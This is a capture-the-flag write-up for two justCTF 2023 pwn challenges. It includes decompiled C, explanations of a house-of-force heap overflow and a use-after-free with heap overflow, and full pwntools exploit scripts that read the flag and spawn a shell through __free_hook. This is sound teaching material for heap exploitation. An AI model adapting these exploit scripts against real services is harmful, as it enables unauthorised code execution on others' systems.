---
# System prepended metadata

title: justCTF 2023

---

# justCTF 2023

I managed to solve 2 pwn challenges. Here is the solve script of them.

## Welcome to my house:
A glance shows that it could be a heap challenge.
```c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // [rsp+8h] [rbp-8h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = (char *)malloc(0x18uLL);
  strcpy(v3, "admin");
  menu(v3);
}
```

```c
void __fastcall __noreturn menu(const char *a1)
{
  int v1; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( 1 )
  {
    puts("[!]\tWelcome in my house!\t[!]\n");
    printf("Actual user: %s\n\n", a1);
    puts("1. Create user\n2. Read flag\n3. Exit\n");
    printf(">>  ");
    __isoc99_scanf("%d", &v1);
    putchar(10);
    switch ( v1 )
    {
      case 1:
        create_user();
        break;
      case 2:
        read_flag(a1);
        break;
      case 3:
        exit(0);
    }
  }
}
```
```c
unsigned __int64 create_user()
{
  char *v0; // rax
  size_t size; // [rsp+8h] [rbp-28h] BYREF
  char *src; // [rsp+10h] [rbp-20h]
  char *dest; // [rsp+18h] [rbp-18h]
  char *v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("Enter username: ");
  src = (char *)malloc(0x19uLL);
  __isoc99_scanf("%s", src);
  putchar(10);
  dest = (char *)malloc(0x18uLL);
  strcpy(dest, src);
  printf("Enter password: ");
  v5 = (char *)malloc(0x18uLL);
  __isoc99_scanf("%s", v5);
  putchar(10);
  printf("Enter disk space: ");
  putchar(10);
  __isoc99_scanf("%lu", &size);
  malloc(size);
  v0 = (char *)malloc(0x18uLL);
  strcpy(v0, v5);
  return __readfsqword(0x28u) ^ v6;
}
```
```c
int __fastcall read_flag(const char *a1)
{
  if ( !strcmp(a1, "root") )
    return system("cat flag.txt");
  else
    return puts("[-] You have to be root to read flag!\n");
}
```
### Vulnerability:
```c
  src = (char *)malloc(0x19uLL);
  __isoc99_scanf("%s", src);
  putchar(10);
  dest = (char *)malloc(0x18uLL);
  strcpy(dest, src);
  printf("Enter password: ");
  v5 = (char *)malloc(0x18uLL);
  __isoc99_scanf("%s", v5);
  putchar(10);
  printf("Enter disk space: ");
  putchar(10);
  __isoc99_scanf("%lu", &size);
  malloc(size);
  v0 = (char *)malloc(0x18uLL);
  strcpy(v0, v5);
```
`scanf("%s", v5)` &rarr; `Buffer overflow`.
In `libc 2.27`, there is still no size check for `top chunk`, hence we will overwrite `top chunk` to a gigantic value, then enter a large size but smaller than `top chunk`, hence the next turn we will able to overwrite `admin` with `root`, choose `read_flag` and we will get flag.

**Note: Search `house of force` to know the technique**

### Final script:
```py
from pwn import *

e = context.binary = ELF("./chall")
#r = e.process()
r = remote("house.nc.jctf.pro", 1337)
gs = """
b*0x00000000004009bb
"""
#gdb.attach(r, gs)
r.recv()
r.sendline(b'1')
pause()
r.recv()
r.sendline(b'A' * 16)
r.recv()
r.sendline(b'A' * 24 + p64(0xffffffffffffff71))
r.recv()
r.sendline(str(0xffffffffffffff71 - 0x20 - 0x80 - 0x90).encode())
r.recv()
r.sendline(b'1')
r.recv()
r.sendline(b'A' * 0x100 + b'root\0')
r.recv()
r.sendline(b'root')
r.recv()
r.sendline(b'24')
r.recv()
r.sendline(b'2')
r.interactive()
```

```sh
lynklee@lynklee:~$ python3 x.py
[*] '/home/lynklee/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to house.nc.jctf.pro on port 1337: Done
[*] Paused (press any to continue)
[*] Switching to interactive mode

justCTF{x_Wh@T_D0_Y0U_KN0W_AB0UT_TH3_F0RC3?}
[!]    Welcome in my house!    [!]

Actual user: root

1. Create user
2. Read flag
3. Exit

>>  $  
```

## Nucleus:
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v4; // rax
  size_t v5; // rax
  float v6; // xmm0_4
  float v7; // [rsp+0h] [rbp-4064h]
  char v8; // [rsp+Bh] [rbp-4059h] BYREF
  __int64 v9; // [rsp+Ch] [rbp-4058h]
  unsigned __int64 v10; // [rsp+14h] [rbp-4050h]
  unsigned __int64 v11; // [rsp+1Ch] [rbp-4048h]
  char *v12; // [rsp+24h] [rbp-4040h]
  __int64 v13; // [rsp+2Ch] [rbp-4038h]
  unsigned __int64 v14; // [rsp+34h] [rbp-4030h]
  __int64 bytes; // [rsp+3Ch] [rbp-4028h]
  __int64 v16; // [rsp+44h] [rbp-4020h]
  char *s; // [rsp+4Ch] [rbp-4018h]
  void *ptr[1024]; // [rsp+54h] [rbp-4010h] BYREF
  void *v19[1026]; // [rsp+2054h] [rbp-2010h] BYREF

  while ( &v19[514] != &ptr[2] )
    ;
  v19[1025] = (void *)__readfsqword(0x28u);
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = (char *)malloc(0x400uLL);
  memset(ptr, 0, sizeof(ptr));
  memset(v19, 0, 0x2000uLL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  info();
  while ( 2 )
  {
    ++v9;
    puts("1. Compress");
    puts("2. Decompress");
    puts("3. Cleanup");
    puts("4. Exit");
    printf("> ");
    v13 = get_int();
    switch ( v13 )
    {
      case 1LL:
        printf("Enter text: ");
        bytes = read_bytes(v12, 1023LL);
        v19[v11] = malloc(2 * bytes);
        if ( !v19[v11] )
          goto LABEL_5;
        s = (char *)compress(v12, v19[v11]);
        v4 = strlen(s);
        if ( (v4 & 0x8000000000000000LL) != 0LL )
          v7 = (float)(int)(v4 & 1 | (v4 >> 1)) + (float)(int)(v4 & 1 | (v4 >> 1));
        else
          v7 = (float)(int)v4;
        v5 = strlen(v12);
        if ( (v5 & 0x8000000000000000LL) != 0LL )
          v6 = (float)(int)(v5 & 1 | (v5 >> 1)) + (float)(int)(v5 & 1 | (v5 >> 1));
        else
          v6 = (float)(int)v5;
        printf("[cid:%ld, ratio: %.2f] compressed text: %s\n\n", v11++, (float)(v7 / v6), s);
        goto LABEL_25;
      case 2LL:
        printf("Enter compressed text: ");
        bytes = read_bytes(v12, 1023LL);
        ptr[v10] = malloc(2 * bytes);
        if ( ptr[v10] )
        {
          v16 = decompress(v12, (unsigned int)bytes, ptr[v10]);
          printf("[did:%ld] decompressed text: %s\n\n", v10, (const char *)ptr[v10]);
          ++v10;
LABEL_25:
          if ( v11 + v10 > 8 )
            exit(0);
          continue;
        }
LABEL_5:
        puts("Error: Failed to allocate memory.");
        return 1;
      case 3LL:
        printf("Compress or decompress slot? (c/d): ");
        __isoc99_scanf(" %c", &v8);
        getchar();
        printf("Idx: ");
        v14 = get_int();
        if ( v14 <= v10 && v8 == 100 )
        {
          free(ptr[v14]);
        }
        else
        {
          if ( v14 > v11 || v8 != 99 )
          {
            puts("Invalid choice");
            exit(-1);
          }
          free(v19[v14]);
        }
        goto LABEL_25;
      case 4LL:
        printf("Bye");
        exit(0);
      case 5LL:
        printf("Idx: ");
        v14 = get_int();
        printf("content: %s\n", (const char *)v19[v14]);
        goto LABEL_25;
      default:
        puts("Invalid choice");
        exit(-1);
    }
  }
}
```

The program allows us to malloc 8 times both `compress` and `decompress`, then manipulate our input. Malloc uses length of our string doubled to create chunk
Example: `AAAAAAAAAAAA` &rarr; `$12A`


### Vulnerability
```c
        printf("Compress or decompress slot? (c/d): ");
        __isoc99_scanf(" %c", &v8);
        getchar();
        printf("Idx: ");
        v14 = get_int();
        if ( v14 <= v10 && v8 == 100 )
        {
          free(ptr[v14]);
        }
        else
        {
          if ( v14 > v11 || v8 != 99 )
          {
            puts("Invalid choice");
            exit(-1);
          }
          free(v19[v14]);
```
`Use after free` in `option 3`, both pointer in `compress` and `decompress` section is not set to `NULL`.


```c
        printf("Compress or decompress slot? (c/d): ");
        __isoc99_scanf(" %c", &v8);
        getchar();
        printf("Idx: ");
        v14 = get_int();
        if ( v14 <= v10 && v8 == 100 )
        {
          free(ptr[v14]);
        }
        else
        {
          if ( v14 > v11 || v8 != 99 )
          {
            puts("Invalid choice");
            exit(-1);
          }
          free(v19[v14]);
```
`Heap buffer overflow` in `option 2`, if the decompressed text is small, but transfer to compressed text is a larger string, it will overwrite some next chunk, see the below example to clearly understand.

![](https://hackmd.io/_uploads/By0576qL3.png)

![](https://hackmd.io/_uploads/BkBpX6qLh.png)

It overwrites our `top chunk` since allocating an 0x20-size chunk but our decompressed string is 529 bytes (528 letter `A` and a `null byte`)

### Exploit:

Since challenge author only provided the binary, we have to find out libc version. I choose to leak heap first, because after `libc 2.32`, heap pointers are encoded, and normally if we leak heap, we might receive 5 bytes. I create 2 compressed text, small chunks and free them, then view the first free chunk will give heap base. Then create another chunk for compressed text but now it will malloc outside the tcache range.

![](https://hackmd.io/_uploads/Byg4HacI3.png)

We receive 6 bytes for our heap leak, I guess they use the version < 2.32.

After debugging, I choose to free a chunk twice to know whether double free be detected or not, and the result:

![](https://hackmd.io/_uploads/BJXaBT5Un.png)

Yes, it is detected, so the libc version might be from `2.28` to `2.31`. Free the chunk outside tcache range recently, view it and what we receive is:

![](https://hackmd.io/_uploads/r1-qU65Ih.png)

Yes, our libc base!

**Note: heap leak is not necessary in this case, because safe-linking is not enabled**

After leak, I use `heap buffer overflow` to overwrite `fd` of a free chunk to `__free_hook`, then overwrite `__free_hook` with system and free a chunk with content `/bin/sh`, shell is opened now.

### Final script:

```py
from pwn import *

e = context.binary = ELF("./nucleus")
libc = ELF("./libc.so.6")

def choice(c: int):
    r.sendlineafter(b'> ', str(c).encode())
def compress(text: bytes):
    choice(1)
    r.sendlineafter(b'Enter text: ', text)
def decompress(text: bytes):
    choice(2)
    r.sendlineafter(b'compressed text: ', text)
def cleanup(c: bytes, idx: int):
    choice(3)
    r.sendlineafter(b'Compress or decompress slot? (c/d):' , c)
    r.sendlineafter(b'Idx: ', str(idx).encode())
def view(idx: int):
    choice(5)
    r.sendlineafter(b'Idx: ', str(idx).encode())
def enc(pointer: int, heap: int):
    return p64(pointer^(heap>>12))
gs = """
brva 0x0000000000001B92
b*compress
brva 0x0x0000000000001bc6
brva 0x1c40
b*execve
"""
if args.LOCAL:
    r = e.process()
if args.REMOTE:
    r = remote("nucleus.nc.jctf.pro", 1337)
if args.GDB:
    gdb.attach(r, gs)
def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val
pause()
compress(b'A' * 0x210) # victim chunk put into unsortedbin
compress(b'A' * 0x10) 
compress(b'B' * 0x10)
compress(b'B' * 0x10)
# free chunk in descending order in order to overwrite fd of a free chunk to __free_hook

cleanup(b'c', 3) 
cleanup(b'c', 2)
cleanup(b'c', 0)
view(2)
r.recvuntil(b'content: ')
heap = u64(r.recv(6) + b'\0' * 2) - 0xb40
log.info(f'Heap: {hex(heap)}')
# leak libc by UAF of a chunk in unsortedbin
view(0)
r.recvuntil(b'content: ')
libc.address = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - 0x1ecbe0
log.info(f'Libc: {hex(libc.address)}')
cleanup(b'c', 1) # this chunk's fd will be overwritten
# Decompress a chunk with 0x30 chunk size
# will put __free_hook into fd of chunk 1
decompress(b'$40A' + p64(0x31) + p64(libc.sym['__free_hook']))
compress(b'/bin/sh\0' + b'A' * 8)
compress(p64(libc.sym['system']) + b'A' * 8) # len = 16, malloc(2*16) -> 0x30 chunk, overwrite __free_hook
cleanup(b'c' , 4) # system("/bin/sh")

r.interactive()
```
![](https://hackmd.io/_uploads/BJuiwpc8h.png)

